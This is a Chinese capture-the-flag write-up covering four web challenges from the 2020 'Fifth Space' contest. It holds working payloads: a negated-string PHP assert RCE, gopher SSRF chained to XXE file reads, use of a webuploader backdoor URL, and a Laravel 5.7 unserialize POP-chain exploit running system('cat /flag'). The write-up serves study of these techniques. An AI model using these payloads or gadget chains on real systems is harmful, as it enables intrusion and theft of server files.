2020 第五空间 智能安全大赛 Web Writeup

admin 2023年5月30日00:47:29评论29 views字数 7747阅读25分49秒阅读模式

2020 “第五空间” 智能安全大赛中Web题的题解记录,进行分享交流。

0x01 hate-php

这道Web题比较简单,访问后直接返回源代码进行审计

  1. <?php

  2. error_reporting(0);

  3. if(!isset($_GET['code'])){

  4. highlight_file(__FILE__);

  5. }else{

  6. $code = $_GET['code'];

  7. if (preg_match('/(f|l|a|g|.|p|h|/|;|"|'|`|||[|]|_|=)/i',$code)) {

  8. die('You are too good for me');

  9. }

  10. $blacklist = get_defined_functions()['internal'];

  11. foreach ($blacklist as $blackitem) {

  12. if (preg_match ('/' . $blackitem . '/im', $code)) {

  13. die('You deserve better');

  14. }

  15. }

  16. assert($code);

  17. }

这里主要是利用最后的assert去RCE,只要绕过黑名单限制的字符就可以,可以用字符串取反操作轻松绕过:

  1. (~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%99%93%9E%98%D1%8F%97%8F)

2020 第五空间 智能安全大赛 Web Writeup

0x02 do you know

这道Web虽然步骤稍微多一些,但是给的提示比较多,一步一步来总体感觉是水到渠成 首先访问index.php后返回逻辑代码

  1. <?php

  2. highlight_file(__FILE__);

  3. #本题无法访问外网

  4. #这题真没有其他文件,请不要再开目录扫描器了,有的文件我都在注释里面告诉你们了

  5. #各位大佬...这题都没有数据库的存在...麻烦不要用工具扫我了好不好

  6. #there is xxe.php

  7. $poc=$_SERVER['QUERY_STRING'];

  8. if(preg_match("/log|flag|hist|dict|etc|file|write/i" ,$poc)){

  9. die("no hacker");

  10. }

  11. $ids=explode('&',$poc);

  12. $a_key=explode('=',$ids[0])[0];

  13. $b_key=explode('=',$ids[1])[0];

  14. $a_value=explode('=',$ids[0])[1];

  15. $b_value=explode('=',$ids[1])[1];


  16. if(!$a_key||!$b_key||!$a_value||!$b_value)

  17. {

  18. die('我什么都没有~');

  19. }

  20. if($a_key==$b_key)

  21. {

  22. die("trick");

  23. }


  24. if($a_value!==$b_value)

  25. {

  26. if(count($_GET)!=1)

  27. {

  28. die('be it so');

  29. }

  30. }

  31. foreach($_GET as $key=>$value)

  32. {

  33. $url=$value;

  34. }


  35. $ch = curl_init();

  36. if ($type != 'file') {

  37. #add_debug_log($param, 'post_data');

  38. // 设置超时

  39. curl_setopt($ch, CURLOPT_TIMEOUT, 30);

  40. } else {

  41. // 设置超时

  42. curl_setopt($ch, CURLOPT_TIMEOUT, 180);

  43. }


  44. curl_setopt($ch, CURLOPT_URL, $url);

  45. curl_setopt($ch, CURLOPT_POST, true);

  46. curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);

  47. curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);


  48. // 设置header

  49. if ($type == 'file') {

  50. $header[] = "content-type: multipart/form-data; charset=UTF-8";

  51. curl_setopt($ch, CURLOPT_HTTPHEADER, $header);

  52. } elseif ($type == 'xml') {

  53. curl_setopt($ch, CURLOPT_HEADER, false);

  54. } elseif ($has_json) {

  55. $header[] = "content-type: application/json; charset=UTF-8";

  56. curl_setopt($ch, CURLOPT_HTTPHEADER, $header);

  57. }


  58. // curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)');

  59. curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);

  60. curl_setopt($ch, CURLOPT_AUTOREFERER, 1);

  61. // dump($param);

  62. curl_setopt($ch, CURLOPT_POSTFIELDS, $param);

  63. // 要求结果为字符串且输出到屏幕上

  64. curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);

  65. // 使用证书:cert 与 key 分别属于两个.pem文件



  66. $res = curl_exec($ch);

  67. var_dump($res);

这里提示还给了xxe.php,访问后同样给了源代码,又提示了main.php和hints.php。这里掺杂了一些html内容,就不贴了

  1. <?php

  2. highlight_file(__FILE__);

  3. #这题在上午的时候为了防止有人用webshell扫描器d,有一段时间临时过滤了system关键字,但是这个关键字在解题中是用不到的,所以才过滤它,给选手造成的不便请您谅解

  4. #这题和命令执行无关,请勿尝试

  5. #there is main.php and hints.php

  6. if($_SERVER["REMOTE_ADDR"] !== "127.0.0.1"){

  7. die('show me your identify');

  8. }

  9. libxml_disable_entity_loader(false);

  10. $data = isset($_POST['data'])?trim($_POST['data']):'';

  11. $data = preg_replace("/file|flag|write|xxe|test|rot13|utf|print|quoted|read|string|ASCII|ISO|CP1256|cs_CZ|en_AU|dtd|mcrypt|zlib/i",'',$data);

  12. $resp = '';

  13. if($data != false){

  14. $dom = new DOMDocument();

  15. $dom->loadXML($data, LIBXML_NOENT);

  16. ob_start();

  17. var_dump($dom);

  18. $resp = ob_get_contents();

  19. ob_end_clean();


  20. }

  21. ?>

  22. <?php

  23. echo ($data!=false)?htmlspecialchars($data):htmlspecialchars('');

  24. ?>

  25. <?php echo htmlspecialchars($resp);?>

到这一步为止,是比较明显的,利用curl去构造SSRF访问xxe.php,并且利用XXE去读取下一步的内容。其实这里构造的过程有一些坑,主要还是在传参时候的URL编码问题,构造时一定要仔细!具体来说,利用gopher协议构造和发起POST的HTTP请求,将data参数传入xxe.php,data是常见的文件读取payload

另外,这里的过滤条件可以用复写来绕过,例如fireadle经过处理后还原成了file,最后构造文件读取
  1. gopher://127.0.0.1:80/_POST /xxe.php HTTP/1.1%250d%250aHost:127.0.0.1:80%250d%250aContent-Type:application/x-www-form-urlencoded%250d%250aContent-Length:149%250d%250a%250d%250adata=<%253fxml%2bversion%2b%253d%2b"1.0"%253f><!DOCTYPE%2bANY%2b[%2b%2b%2b%2b<!ENTITY%2bf%2bSYSdtdTEM%2b"php://filter/rereadad=convert.base64-encode/resource=hints.php">]><x>%252526f;</x>

读取hints.php和main.php的内容后,如下:

  1. //hints.php

  2. <?php

  3. #there is an main.php

  4. #“大佬,要不咱们用一个好长好长的数字的md5做通信密码吧”

  5. #“那你给我算一个出来”

  6. #“好的”

  7. #

  8. #小白打开了win10的calc,开始计算8129947191207+1992100742919

  9. #然后他直接用鼠标复制了结果,计算md5值

  10. #“好了大佬,10122047934126的md5值”

  11. #“6dc6a29df1d7d33166bba5e17e42d2ea对吧”

  12. #“哈???不是3e3e7d453061d953bce39ed3e82fd2a1吗”

  13. #

  14. #“咱们对一下数字?”

  15. #‭10122047934126‬

  16. #10122047934126

  17. #“这不是一样的吗....咋就md5不一样了.......”

  18. #

  19. #找出来到底哪里出了问题,就可以看这道web题目了

  1. //main.php

  2. <?php

  3. class A

  4. {

  5. public $object;

  6. public $method;

  7. public $variable;


  8. function __destruct()

  9. {

  10. $o = $this->object;

  11. $m = $this->method;

  12. $v = $this->variable;

  13. $o->$m();

  14. global $$v;

  15. $answer = file_get_contents('flag.php');

  16. ob_end_clean();

  17. }

  18. }


  19. class B

  20. {

  21. function read()

  22. {

  23. ob_start();

  24. global $answer;

  25. echo $answer;

  26. }

  27. }

  28. if($_SERVER["REMOTE_ADDR"] !== "127.0.0.1"){

  29. die('show me your identify');

  30. }

  31. if (isset($_GET['‬'])) {

  32. unserialize($_GET['‬'])->CaptureTheFlag();

  33. } else {

  34. die('you do not pass the misc');

  35. }

根据这里hints.php的内容提示,win10的计算器鼠标直接复制后,会在数字的前后加上两个不可见的unicode字符%e2%80%ad和%e2%80%ac,在这里的 unserialize($_GET['‬'])部分,测试后发现可以用 %e2%80%ac=123传参内容。到这一步按照预期应该是利用两个类的反序列化操作去想办法读取flag.txt内容了,但是其实回过头看看,xxe.php已经能够任意文件读取了不是吗?这里main.php的意义更像是告诉我们flag就是在flag.php中,因此直接构造payload用XXE读取flag......利用前面复写的方式能够绕过flag的黑名单限制!

  1. gopher://127.0.0.1:80/_POST /xxe.php HTTP/1.1%250d%250aHost:127.0.0.1:80%250d%250aContent-Type:application/x-www-form-urlencoded%250d%250aContent-Length:149%250d%250a%250d%250adata=<%253fxml%2bversion%2b%253d%2b"1.0"%253f><!DOCTYPE%2bANY%2b[%2b%2b%2b%2b<!ENTITY%2bf%2bSYSdtdTEM%2b"php://filter/rereadad=convert.base64-encode/resource=flxxeag.php">]><x>%252526f;</x>

得到flag内容

  1. <?php

  2. $flag='flag{5bc0bc291d322450679866d5ddf0a346}';

0x03 美团外卖

这题相对其他CTF题目比较清新脱俗,拿了个简单的CMS模拟渗透测试的过程和代码审计,比较有趣。访问页面后返回了一个登录窗口,扫描敏感文件后发现有文件泄露 www.zip,于是直接开始审计代码。经过审计之后(文件并不多,不太耗时),发现daochu.php文件中的功能可能存在问题,对传参的SQL拼接内容没有做好校验,存在SQL注入的问题,为了节省时间直接拿sqlmap一把梭。

2020 第五空间 智能安全大赛 Web Writeup

拿到管理员的账密和一条提示,比较难受的是这个账密并不能登录成功,看了下源码,有校验需要id>0。接着直接访问hints中的目录路径,发现是一个一毛一样的页面,经过测试发现同样不能登录,但是差异在于源码中的 lib目录在刚刚的 /下访问是404,但是在hints的路径下,是存在的。于是继续审计lib下的内容,主要是一些插件,比较瞩目的是其中的webuploader 0.1.5和ueditor,测试后发现webuploader 0.1.5存在漏洞,漏洞详情可以参考:https://github.com/jas502n/webuploader-0.1.15-Demo 利用该漏洞后相应中返回了一段新的提示:

2020 第五空间 智能安全大赛 Web Writeup

访问同级目录下的文件后,直接利用该后门...

  1. http://119.3.183.154/956c110ef9decdd920249f5fed9e4427/lib/webuploader/0.1.5/server/e98a4571cf72b798077d12d6c94629.php


  2. http://119.3.183.154/956c110ef9decdd920249f5fed9e4427/lib/webuploader/0.1.5/server/e98a4571cf72b798077d12d6c94629.php?file=/flag

2020 第五空间 智能安全大赛 Web Writeup

0x04 laravel

这道题稍微比较硬核,但是如果对laravel找pop链比较熟悉应该也不算很难。题目给了部署网站的源码,是基于Laravel 5.7的框架。题目只有一个路由,即一个反序列化点:

  1. <?php

  2. namespace AppHttpControllers;

  3. class TaskController

  4. {

  5. public function index(){

  6. if(isset($_GET['p'])){

  7. unserialize($_GET['p']);

  8. }

  9. return "There is an param names p (get)";

  10. }

  11. }

  12. ?>

下面的事就是去找pop链了,一开始果断祭出(白嫖方法)最强法宝——其他人对laravel5.7和5.8的pop链,不过逐一试过去发现没有一个能用的... 这基本可以确定出题人应该是做了手脚了,去查看了下几个pop链常用的入口点PendingBroadcast、PendingCommand,果然触发点被出题人干掉了...

  1. //PendingBroadcast

  2. /**

  3. * Handle the object's destruction.

  4. *

  5. * @return void

  6. */

  7. public function __destruct()

  8. {

  9. return "no here!";

  10. }


  11. //PendingCommand

  12. /**

  13. * Handle the object's destruction.

  14. *

  15. * @return void

  16. */

  17. public function __destruct()

  18. {

  19. if ($this->hasExecuted) {

  20. return;

  21. }


  22. }

  23. }

缓过神来之后,默默拿出PhpStorm开始自个儿再慢慢找了...

(看了其他WP发现还有用其他的链去调用PendingCommand的run,这个地方应该还有其他花式解法)

从析构函数开始逐个排查,经过漫长的寻觅后终于确定到一个能用的入口点

  1. SymfonyComponentRoutingLoaderConfiguratorImportConfigurator

这个类的析构函数中的函数调用形式就很美好,而且$this->parent和$this->route可控,只要再找到一个函数执行点,理想状态是在__call()魔术方法中

  1. public function __destruct()

  2. {

  3. $this->parent->addCollection($this->route);

  4. }

继续按照call()魔术方法寻觅,找到了 FakerGenerator,这个类的call()函数中调用format,而format中就有我们需要的calluserfunc_array!

  1. public function format($formatter, $arguments = array())

  2. {

  3. return call_user_func_array($this->getFormatter($formatter), $arguments);

  4. }

  5. public function __call($method, $attributes)

  6. {

  7. return $this->format($method, $attributes);

  8. }

直接写EXP:

  1. <?php

  2. namespace SymfonyComponentRoutingLoaderConfigurator{

  3. class ImportConfigurator{

  4. private $parent;


  5. public function __construct($parent, $route)

  6. {

  7. $this->parent = $parent;

  8. $this->route = $route;

  9. }

  10. }

  11. }


  12. namespace Faker{

  13. class Generator{

  14. protected $providers = array();

  15. protected $formatters = array();


  16. public function __construct($formatters)

  17. {

  18. $this->formatters = $formatters;

  19. }

  20. }

  21. }


  22. namespace{

  23. $a = new FakerGenerator(array('addCollection'=>'system'));

  24. $b = new SymfonyComponentRoutingLoaderConfiguratorImportConfigurator($a, 'cat /flag');

  25. echo urlencode(serialize($b));

  26. }

  27. ?>

最后拿到flag内容:2020 第五空间 智能安全大赛 Web Writeup

0x05 总结

Web题总体不难,还有一道zzm's blog没有做出来,总之还是挺有收获的,感谢阅读~


原文始发于微信公众号(0th3rs安全团队):2020 “第五空间” 智能安全大赛 Web Writeup

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年5月30日00:47:29
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   2020 第五空间 智能安全大赛 Web Writeuphttps://cn-sec.com/archives/1052542.html

发表评论

匿名网友 填写信息